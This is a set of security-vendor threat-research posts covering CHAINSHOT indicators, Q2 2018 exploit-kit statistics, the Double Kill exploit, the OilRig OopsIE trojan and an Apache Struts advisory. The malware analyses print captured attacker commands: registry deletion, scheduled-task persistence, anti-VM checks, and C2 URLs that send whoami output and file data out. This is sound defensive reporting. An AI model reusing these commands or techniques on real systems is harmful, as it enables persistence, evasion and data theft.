We uncovered part of a new toolkit which was used as a downloader alongside Adobe Flash exploit CVE-2018-5002 to target victims in the Middle East. This was possible because the attacker made a mistake in using insecure 512-bit RSA encryption. The malware sends user information encrypted to the attacker server and attempts to download a final stage implant. It was allegedly developed with the help of an unknown framework and makes extensive use of custom error handling. Because the attacker made another mistake in using the same SSL certificate for similar attacks, we were able to uncover additional infrastructure indicating a larger campaign.

Palo Alto Networks customers are protected from this threat in the following ways:

WildFire detects all malicious Excel documents, the Flash downloader and exploit and all CHAINSHOT samples with malicious verdicts
AutoFocus customers can track the samples with the CVE-2018-5002 exploit and CHAINSHOT malware tags
Traps detects and blocks the malicious Excel documents with the Flash exploit

Finally, we’d like to thank Tom Lancaster for his assistance in this investigation.

Indicators of Compromise

Adobe Flash Downloader

189f707cecff924bc2324e91653d68829ea55069bc4590f497e3a34fa15e155c

Adobe Flash Exploit (CVE-2018-5002)

3e8cc2b30ece9adc96b0a9f626aefa4a88017b2f6b916146a3bbd0f99ce1e497

CHAINSHOT Samples

X86 Shellcode Payloads:

d75de8f7a132e0eb922d4b57f1ce8db47dfcae4477817d9f737762e486283795

2d7cb5ff4a449fa284721f83e352098c2fdea125f756322c90a40ad3ebc5e40d

FirstStageDropper.dll:

a260d222dfc94b91a09485647c21acfa4a26469528ec4b1b49469db3b283eb9a

a09273b4cc08c39afe0c964f14cef98e532ae530eb60b93aec669731c185ea23

SecondStageDropper.dll:

43f7ae58e8e5471917178430f3425061d333b736974f4b2784ca543e3093204b

3485c9b79dfd3e00aef9347326b9ccfee588018a608f89ecd6597da552e3872f

Infrastructure

ftp[.]oceasndata[.]com

dl[.]beanfile[.]com

eukaznews[.]com

exclusivesstregis[.]com

fishing-uae[.]com

api[.]usecisco[.]info

gulfnews[.]uae-travel-advisories[.]com

qatar[.]eng-theguardian[.]com

malomatiaa[.]com

news[.]theqatarpeninsula[.]com

people[.]dohabayt[.]com

qatar[.]doharotanatimes[.]com

sites[.]oceasndata[.]com

qatar[.]smallwarjournal[.]com

qatarembassies[.]com

sa[.]eukaznews[.]com

sec[.]oceasndata[.]com

rss[.]beanfile[.]com

usecisco[.]info

smallwarjournal[.]com

awareness-qcert[.]net

specials[.]fishing-uae[.]com

theqatarpeninsula[.]com

uae-travel-advisories[.]com

eng-theguardian[.]com

securityandpolicing[.]me

api[.]qcybersecurity[.]org

qatar-sse[.]com

api[.]motc-gov[.]info

youraccount-security-check[.]com

api[.]exclusivesstregis[.]com

newhorizonsdoha[.]com

sandp2018[.]securityandpolicing[.]me

icoinico[.]one

api[.]dohabayt[.]com

thelres[.]com

news[.]gulf-updates[.]com

qatarconferences[.]thelres[.]com

api[.]smallwarjournal[.]com

qcybersecurity[.]org

ikhwan-portal[.]com

gulf-updates[.]com

api[.]qatar-sse[.]com

info[.]awareness-qcert[.]net

api[.]newhorizonsdoha[.]com

internationsplanet[.]com

www[.]winword[.]co

www[.]oceasndata[.]com

people[.]dohabayt[.]com

eng-defenseadvisers[.]com

motc-gov[.]info

beanfile[.]com

news[.]eng-defenseadvisers[.]com

winword[.]co

documents[.]malomatiaa[.]com

bern[.]qatarembassies[.]com

surveydoha[.]com

documents[.]malomatiaa[.]com

dohabayt[.]com

doharotanatimes[.]com

activity[.]youraccount-security-check[.]com

poll[.]surveydoha[.]com

api[.]thelres[.]com

q-miles[.]com

rewards[.]q-miles[.]com

oceasndata[.]com

api[.]people[.]dohabayt[.]com

bangkok[.]exclusivesstregis[.]com

events[.]ikhwan-portal[.]com

contact[.]planturidea[.]net

dl[.]nmcyclingexperience[.]com

tools[.]conductorstech[.]com

Web-based Threats-2018 Q2: U.S. Remains #1 in Malicious Web Addresses, China Falls from #2 to #7

Posted on September 5, 2018November 6, 2018 by Bo Qu

Executive Summary

In Q2, the United States was number one for hosting malicious domains and exploit kits.

Unit 42 regularly analyzes statistical data from our Email Link Analysis (ELINK) to understand the patterns and trends in current web threats. This blog outlines our analysis for April – June (Q2) 2018 and follows up our previous blog analyzing web-based threats for January – March (Q1) 2018 that can be found here. We also provide detailed analysis of attacks against CVE-2018-8174 (a vulnerability we discuss below) using the Double Kill exploit.

What we found this quarter was that vulnerabilities under attack remained consistent, including very old vulnerabilities. One new vulnerability used zero-day attacks did rocket to near the top of the list.

The United States remained the number one hoster of malicious domains, with a marked increase in the Netherlands as well. Outside of these two countries hosted malicious domains dropped markedly across the globe, including in Russia and China.

The United States was also the number one hoster for exploit kit (EKs) globally by a more than two to one margin compared with the number two country, Russia. In fact, the United States alone accounted for more EKs globally than all other countries combined. KaiXin, Sundown, and Rig exploit kits remained active from Q1 to Q2. We saw a significant difference in regional prevalence with KaiXin being found primarily in China, Hong Kong, Korea and Grandsoft (a newly emergent EK), Sundown and Rig prevalent everywhere else.

Based on our findings, our guidance is for organizations to focus on ensuring Microsoft Windows and Adobe Flash and Reader are fully up to date with the latest versions and security updates. In addition, organizations should look at using limited privilege user accounts to limit the damage of malware. Finally, protections against malicious URLs and domains and using endpoint security to prevent malware like exploit kits can all help with the threats outlined in this posting.

Key Takeaways:

Malicious Hosted Domains
1. The United States remains the number one country for hosting malicious domains.
2. Overall, except for the Netherlands, the number of malicious domains hosted outside of the United States was significantly smaller than we saw in Q1.
3. We saw a significant increase in malicious domains hosted in the Netherlands.
4. We saw significant decreases in malicious domains hosted in Russia and China dropping both to be tied at number 7 on our list.
5. While we saw a significant decrease in malicious domains hosted in Hong Kong, it remained the third largest hoster of malicious domains.
6. Australia moved to number four on the list, but the increase wasn’t significant.
7. The number of malicious domains hosted in Germany dropped by over half.
8. The number of malicious hosted domains in the United Kingdom and Italy was unchanged. However due to the overall decline outside of the United States and the Netherlands, they actually moved from being tied at number 3 to number 6.
Vulnerabilities
1. A new vulnerability is aggressively used.
  - CVE-2018-8174, a Microsoft VBScript vulnerability that was used in zero-day attacks and patched in May has been aggressively used in web-based attacks this quarter.
2. Very old vulnerabilities are still useful.
  - CVE-2009-0075, a nine-and-a-half-year-old vulnerability Microsoft Internet Explorer 7 vulnerability was in our top five list last quarter and is number four this quarter.
  - CVE-2008-4844, another nine-and-a half vulnerability affecting Microsoft Internet Explorer 5, 6 and 7 is number five this quarter.
3. Vulnerabilities under attack remain consistent.
  - Four of our top five this quarter were in our top six list last quarter (CVE-2016-0189, CVE-2014-6332, CVE-2009-0075, and CVE-2008-4844)
Exploit Kits
1. The United States was the number one source for Grandsoft, Sundown, and Rig and the number two source for KaiXin making it the number one source for Exploit Kits globally. In fact, the US accounted for more than twice the number of Exploit Kits globally as the number two, Russia.
2. Russia was number two globally for Grandsoft, Sundown and Rig exclusively.
3. KaiXin showed up primarily in China, Hong Kong, and Korea, with limited distribution in the United States and Netherlands.
4. Consistent with other findings in this report, the Netherlands came in at number 5 on our list, primarily for Grandsoft, Sundown and Rig but also KaiXin.
5. Australia came in at number 6 on our list. Interestingly, even though KaiXin was prevalent in the APAC region, there were no instances of KaiXin in Australia only Grandsoft, Sundown and Rig.
6. KaiXin, Sundown, and Rig were consistently in use across Q1 and Q2.
7. Sinowal which we tracked in Q1 disappeared this quarter.
8. Grandsoft is a new entry this quarter.

Analysis

Vulnerabilities (CVEs)

In the second quarter of 2018 we observed 6 different CVEs being exploited. Table 1 below shows the top three CVEs for the first and second quarters of 2018.

1st Quarter	2nd Quarter
1. CVE-2014-6332: exploited by 774 malicious URLs	1. CVE-2016-0189: exploited by 472 malicious URLs
2. CVE-2016-0189: exploited by 219 malicious URLs	2. CVE-2018-8174: exploited by 291 malicious URLs
3. CVE-2015-5122: exploited by 85 malicious URLs	3. CVE-2014-6332: exploited by 67 malicious URLs

Table 1. CVE comparison between first and second quarter 2018

The chart below shows the CVEs and number of URLs seen leveraging the respective CVEs.

Figure 1. CVE distribution graph

Compared to the data observed from the first quarter of this year, the URL count exploiting certain CVEs have changed positions in ranking.

CVE-2014-6332, a four year old code execution vulnerability in Microsoft OLE automation fixed by MS14-064, dropped significantly from first place with 774 malicious URLs, to third place with 67 malicious URLs. In the second quarter.

CVE-2015-5122, a three year old code execution vulnerability in Adobe reader fixed with an emergency release by APSA15-04 and later by APSB15-18, was number three last quarter but dropped off the top six list entirely this quarter.

CVE-2016-0189, a two year old scripting engine vulnerability affecting Microsoft Internet Explorer, as well as Jscript and VBScript and fixed by MS16-051 and MS16-053 respectively, moved by number one by more than doubling its previous standing from 219 malicious URLs in the first quarter to 472 malicious URLs in the second quarter.

Of particular note is CVE-2018-8174 a code execution vulnerability in the Microsoft VBScript engine that was detected as a zero-day attack and patched by Microsoft in May 2018. This vulnerability wasn’t publicly known until the second quarter and we can see was quickly used by attackers taking advantage of it, making it number two on our list in the second quarter, exploited by 291 malicious URLs.

To shed more light on this CVE we investigated an active exploit dubbed Double Kill which we will discuss in the case study section of this blog below.

Finally, we should note again the presence of CVE-2009-0075, a vulnerability from February 2009 in Microsoft Internet Explorer 7 fixed with MS09-002 and CVE-2008-4844 a vulnerability in Microsoft Internet Explorer 5, 6 and 7 fixed with MS08-078. These two roughly nine-and-a-half-year-old vulnerabilities continue to be useful for attackers, as shown by them being number five and six list last quarter and number four and five on our list, respectively, this quarter.

The net lessons from this quarter’s statistics are the very old and very new vulnerabilities show themselves to be useful. There’s also a steadiness to the vulnerabilities attackers are favoring since four of the top five vulnerabilities this quarter were in use last quarter. The fact that number two on our list is new vulnerability only addressed in May and was used in zero-day attacks also tells us that attackers are ready to move quickly to adapt their attacks to vulnerabilities shown to be useful.

The continued use of these two nine-and-a-half-year-old Internet Explorer vulnerabilities also tells us that Internet Explorer 7 and earlier are in use and unpatched.

Domains/URLs

Domains

We observed 440 malicious domains serving up to exploit the aforementioned CVEs. A list of countries and regions is below:

Ranking in Q2	Country/region	Number of domains in Q2	Number of domains in Q1	Previous Ranking in Q1
1.	US United States	248	257	1
2.	NL Netherlands	31	13	5
3.	HK Hong Kong	9	41	3
4.	AU Australia	6	1	11 (tied)
5.	DE Germany	5	12	6
6 (tied)	GB United Kingdom	3	3	9 (tied)
6 (tied)	IT Italy	3	3	9 (tied)
7 (tied)	CN China	2	106	2
7 (tied)	RU Russian	2	20	4
8 (tied)	CA Canada	1	0	NA
8 (tied)	ES Spain	1	1	11 (tied)
8 (tied)	FR France	1	8	8
8 (tied)	IE Ireland	1	0	NA
8 (tied)	KG Kyrgyzstan	1	0	NA

Table 2. country/region distribution graph of malicious domains

URLs

As far as malicious URLs go, the United States takes the lead with 495 malicious URLs and Russia is runner up with 147 URLs. Compared to the first quarter blog, malicious URLs hosted in United States almost doubled in the second quarter, while malicious URLs hosted in Russia were almost seven times higher. The complete count for each country/region is shown below in Table 2:

Figure 3. Malicious URLs country/region distribution graph

Exploit Kits

There were 1072 malicious URLs out of the total 1373 serving EKs. As with malicious domains, we were unable to discover hosting information for some of the domains as they were gone prior to starting research on this blog, which is why Figure 3 adds up to less than 1373.

The EKs we found in our analysis for this quarter included KaiXin, Grandsoft, Sundown, and Rig. Three of these EKs were in our Q1 report: KaiXin, Sundown, and Rig. One EK in our Q1 report, Sinowal, has dropped out of our list. And Grandsoft was not present in our list in Q1 and is now in our list.

Ranking	Country	KaiXin	Grandsoft, Sundown, and Rig	Total
1.	USA	44	252	296
2.	Russia	0	139	139
3.	China	47	0	47
4.	Hong Kong	31	10	41
5.	Netherlands	2	31	33
6.	Australia	0	6	6
7.	Korea	5	0	5
	Total	129	438	567

Table 4 Ranking of Countries Hosting Exploit Kits

The various EKs seem to target a certain country or region cluster. For instance, KaiXin EK was only reported in 5 country/regions (see Figure 4 below), mostly within Asia. This EK mostly leverages the vulnerability CVE-2014-6332.

Figure 4. KaiXin EK distribution graph

The Grandsoft, Sundown, and Rig EKs were far more visible in other parts of the world. Out of the 16 country/region where they were seen, the United States had the highest number of malicious links EKs, at 252. Second and third place were Russia with 139, and the Netherlands with 31. These EKs mostly exploit CVE-2016-0189. Figure 5 below shows each country/region and associated numbers.

Figure 5. Grandsoft/Sundown/Rig EK distribution graph

Case Studies

Evolution of Attacks Against CVE-2018-8174

As noted in the previous CVE section, on May 8, Microsoft published information and a patch for CVE-2018-8174, a Windows VBScript Engine Remote Code Execution Vulnerability. It’s a critical vulnerability that impacts 31 Microsoft products and could lead to remote code execution. A couple of notable exploits of this CVE that we’ve observed are discussed in the below case studies.

Double Kill: Version 1

Unit 42 found the first active exploit in the wild on May 12, four days after a patch was issued. It is interesting to point out that it took four days for threat actors to create and weaponize the exploit after Microsoft’s disclosure of the vulnerability.

The first version of the exploit didn’t obfuscate html code, except for functions and variables with "I", "1", "l" or combinations thereof; note that while two of the letters look the same, one is an uppercase ‘i’ and the other a lowercase ‘L’. Also, we observed some plaintext strings in the exploit; “msvcrt.dll”, “ntdll.dll”, “VirtualProtect”, “NtContinue”, and “kernelbase.dll”. According to our research, we found that the exploit used msvcrt.dll to find the DLL load address of kernelbase and ntdll, and then tried to find the function address of NtContinue in ntdll and VirtualProtect in kernelbase from their exported table, at last controlled EIP to execute NtContinue, then execute VirtualProtect to change the memory attribute to Read Write Execute (RWE) and execute the real shellcode in the last stage of exploit. as seen here:

Figure 6. source code

Below are some malicious behaviors we captured from this first version of the exploit. These malicious behaviors show the exploit downloaded a document file to the Windows temp directory, deleted some registry entries to make sure there is no entry to be restored when opening Word next time.

WriteFile

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EZ9ET1Q3\Microsoft-help[1].wll

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\70Z9M5D6\Microsoft-help[1].doc

\Users\Administrator\AppData\Roaming\Microsoft\Word\STARTUP\Microsoft-help.doc

Command execution

cmd.exe /c ping 127.0.0.1 -n 1 &

REG DELETE HKCU\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\15.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItems /f&

start "" "C:"

Double Kill: Version 2

In the second exploit, attackers used several types of obfuscation to hide the exploit. For example, the textarea HTML tag with display attribute “none” was used to hide the real exploit code. The obfuscated string in textarea started with “>tpircs and ended with “>tpircs<” will not be showed in html page, but it can be deobfuscated to a meaningful string as a part of exploit, for example “tpircs” will be decrypted to “script” tag as shown below in Figure 7.

Figure 7. Obfuscated case part 1

The exploit also uses RegExp and very heavy JavaScript obfuscation. The threat actors utilized several functions like Regex and unescap to make variables seem meaningless, as shown here in Figure 8:

Figure 8. Obfuscated case part 2

In the VB part, obfuscation was not as widely used. Keyword separation using string concatenation and substitution was used instead to evade detection. For example, in Figure 9 below we’ve pointed out where "vbscript" and "fromCharCode" were manipulated.

Figure 9. Obfuscated case part 3

Captured with shellcode execution, we can see the exploit downloaded the malicious PE file to the temp directory and executed it directly through createProcess from some malicious behaviors that were logged:

WriteFile

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EZ9ET1Q3\v3[1].exe

\Users\ADMINI~1\AppData\Local\Temp\z.exe

Command execution

C:\Users\ADMINI~1\AppData\Local\Temp\z.exe

Largest Criminal Attack Campaign in the Second Quarter

This attack exploits the same vulnerability (CVE-2018-8174) as Double Kill but uses a different method to deliver the payload. It uses PowerShell to download and execute files as shown below in Figure 10.

Figure 10. Obfuscated case part 4

This attack campaign was clearly planned in advance. The malicious domain, ‘payert-gov[.]uk’, was registered around 10:30 AM June 26. The attack started around 10:30 AM June 28. After around one hour, the domain became unresponsive. The domain registration shows that the attacker likely used public information details from an employee of a legitimate financial institution (which was not targeted in this attack).

In total, we captured 699 malicious emails within this attack. All the malicious emails with malicious links we captured were sent from the spoofed “no-reply@hmrcmailgov.uk” email with the subject field containing: “Important : Outstanding Amount”. All malicious URLs used the C2 domain ‘payert-gov[.]uk’. You can see an example of the emails at My Online Security.

Conclusion

Looking at this quarter’s trends, we see a surprising drop in malicious sites globally, particularly in Russia and China. Meanwhile, the United States remained the top hosting country for malicious sites and exploit kits. Another surprise this quarter is the sudden, unexpected spike in the Netherlands, both in terms of malicious sites and exploit kits.

In the realm of vulnerabilities, we see remarkable consistency, with a nearly identical roster of vulnerabilities under attack in this quarter as last quarter. The only notable addition to this roster is a vulnerability known to be used in zero-day attacks.

We also saw a clear geographic division in the use of exploit kits, with KaiXan favored in East Asia while Grandsoft, Sundown, and Rig were used more in Europe and the United States.

Next quarter, we’ll return to review this quarter’s statics and trends against the latest data from ELINK to help you better understand the threat trends that are out there.

OilRig targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE

Posted on September 4, 2018November 2, 2018 by Robert Falcone

The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. As observed in previous attack campaigns, the tools used are not an exact duplicate of the previous attack and instead is an iterative variant. In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems.

Attack Details
In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training”. The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Based on open source data collection, it appears the targeted group had publicly published several documents regarding business continuity management on the Internet, indicating the lures were purposefully crafted for this specific attack.

Evasion Techniques
The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code. These evasion techniques are meant to thwart automated analysis in an effort to avoid detection.

Technique	Description
Fan Check	The Trojan will perform the following WMI query: Select * from Win32_Fan According to MSDN, this query should return a class that provides statistics on the CPU fan. The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment.
Temperature Check	The Trojan will perform the following WMI query: SELECT * FROM MSAcpi_ThermalZoneTemperature The Trojan will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine.
Mouse Pointer Check	The Trojan will perform the following WMI query: Select * from Win32_PointingDevice The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle.
Hard Disk Check	The Trojan will perform the following WMI query: Select * from Win32_DiskDrive The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle.
Motherboard Check	The Trojan will perform the following WMI query: Select * from Win32_BaseBoard The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle.
Sandboxie DLL Check	The Trojan will attempt to load the SbieDll.dll module via LoadLibrary.
VBox DLL Check	The Trojan checks to see if the file vboxmrxnp.dll exists in the system directory.
VMware DLL Check	The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory.
Timezone Check	The Trojan check to see if the system is configured (“DaylightName”) with one of the following time zones: Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5)
Human Interaction Check	Before executing its functional code, the Trojan presents a dialog box with the following line of code: Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null); This dialog box displays An error occurred while processing user32.dll!, which the user must click the ok button for the Trojan to run its functional code.

Table 1 List of anti-vm and anti-sandbox techniques used by OopsIE

Most of these evasion techniques have been observed in other malware families; however, a few of the techniques were more novel. First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1

Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics

However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2. The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine.

Figure 2 WMI query for Win32_Fan run on a physical system showing statistics

Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos. They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query. This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query.
The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set. The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows:

Arabic Daylight Time (UTC+3)
Arab Daylight Time (UTC+3)
Arabian Daylight Time (UTC+4)
Middle East Daylight Time (UTC+2)
Iran Daylight Time (UTC+3.5)
According to MSDN, these five time zones encompass 10 countries that fall within UTC+2, +3, +3.5 or +4 as seen in Figure 3. The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations.

Figure 3 Countries in which OopsIE will run in based on the time zone

Notable Differences
The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog. The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server. For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands. Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags <pre> and </pre> and will parse that data for commands.
However, there are many differences introduced to this version of OopsIE from the previously discussed variant. At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character. The following code snippet was used to decode strings within OopsIE:

out = ""
for e in obfuscated_string.split("-"):
   out += chr(int(e)-1)

out = ""

for e in obfuscated_string.split("-"):

out += chr(int(e)-1)

When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section. The last check requires the user to click the ‘Ok’ button in an error dialog box, as seen in Figure 4.

Figure 4 Error dialog box displayed by OopsIE

After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application. The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack.
cmd.exe /C choice /C Y /N /D Y /T 2 & Del
After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user.
With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. The decoded string from the Sch resource is:
SchTasks /Create /SC MINUTE /MO 3 /TN "%n%" /TR "wscript %path%" /f
The decoded string from the VBS resource is:
CreateObject("WScript.Shell").Run("%app%")
The %n% string in the schtasks command above will be replaced with the GUID saved to GDI.bin. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. The %path% string in the scheduled task command will be replaced with the path to the following:
%APPDATA%\Windows\ShwDoc.VBS
The decoded string from the VBS resource is written to ShwDoc.VBS. The %app% string in the VBScript is replaced with %APPDATA%\Windows\WindowsImplantment.exe. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution.
After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. This particular sample uses the following domain as its C2 server:
www.windowspatch[.]com
One obvious difference between this version of OopsIE compared to the previously analyzed version is the strings in the C2 URLs are reversed, from chk to khc, what to tahw and resp to pser. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. Also, this variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables. The C2 communications begins with a beacon to the following URL:
hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)>
If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server:
%APPDATA%\Windows\ShwDoc.srv
If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL:
hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)>
The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command. Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decode response on <> and treating the text to the left of the <> string as the command the text to the right as the command arguments. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2. The one difference in this command handler from the previous version is the boom! command, which allows the actor to uninstall the OopsIE Trojan from the system.

Command	Description
1	Runs a supplied command and writes it output to %APPDATA%\SchWin.vbs, which will then be uploaded to the C2 server.
2	Downloads a file to the system. Splits argument on "(\|)", with the string to the left representing the filename to save and the string to the right representing the data to write to the file.
3	Read specified file and uploads its contents to the C2 server.
boom!	Deletes GID.bin, ShwDoc.VBS and ShwDoc.srv files, as well as the scheduled task whose name a GUID stored in the GID.bin file.

Table 2 OopsIE commands

When sending data to the C2 server after running commands, the Trojan will use the following URL structure with either BBY or BBZ splitting the whoami output and the exfiltrated data:
http://www.windowspatch.com/pser?<hex(STDOUT of whoami command)(BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)>

Conclusion
The OilRig group remains a persistent adversary in the Middle East region. They continue to iterate and add capabilities to their tools while still functionally using the same tactics over and over again. Within the time frame we have been tracking the OilRig group, they have repeatedly shown a willingness to add less commonly found functionality to their tools, such as their heavy use of DNS tunneling in their backdoors or adding authentication to their webshells. This attack is no different, now adding anti-analysis capabilities into their tools. This adversary is highly resourceful and continues to adapt over time. However, the tactics they continue to deploy are generally unsophisticated, and simple security hygiene would help organizations protect themselves against this threat.
Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:

AutoFocus customers can track this Trojan with the OopsIE tag
All known OopsIE samples are marked with malicious verdicts in WildFire
All known OopsIE C2 domains have DNS signatures and are classified as Command and Control

Indicators of Compromise
OopsIE Trojan
36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23
055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9
6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761
9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17

OopsIE C2
defender-update[.]com
windowspatch[.]com

Threat Brief: Information on Critical Apache Struts Vulnerability CVE-2018-11776

Posted on August 24, 2018September 21, 2020 by Unit 42

Situation Overview
On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16. The Apache Foundation has urged everyone to apply the security updates as soon as possible.
This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates. Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.

Vulnerability Information
According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts. The method of attack would be through a specially crafted URL sent to the vulnerable system. In most cases, this means no authentication is required to exploit the vulnerability.
A successful attack would run code in the security context that Struts is using. In some cases, this could effectively lead to a total compromise of the system.
It’s important to note, however, that the vulnerability is not exploitable in default configurations. The following two conditions must both be met for a system to be vulnerable to attack:

The alwaysSelectFullNamespace flag is set to “true” in the Struts configuration. (Note: If your application uses the popular Struts Convention plugin this is set to “true” by default by the plugin.
The Struts application uses “actions” that are configured without specifying a namespace, or with a wildcard namespace. This condition applies to actions and namespaces specified in the Struts configuration file . NOTE: your application uses the popular Struts Convention plugin this condition also applies to actions and namespaces specified in Java code.

If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.
In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.

Threat Environment Information
The vulnerability was disclosed on August 22 in conjunction with security updates that address it. There is detailed information about the vulnerability and how to exploit it available currently. There is also proof of concept (PoC) code available already. As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.
Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.
There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.
However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.
Organizations should focus their risk assessments for possible attack until they can patch on four things:

Are they using the Struts Convention plugin?
Do they meet both of the required conditions for exploitation?
Any weaponization or indication of attacks using the current PoC
Developments of new PoC or attacks that render moot the two conditions required for exploitability?

Guidance and Protections for Palo Alto Networks Customers
All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.
Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and on currently available information.
Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.
Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection. With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.
As always, we are monitoring the situation closely and will provide additional details as they become available.

Delete Databases and Ransom

Conclusion

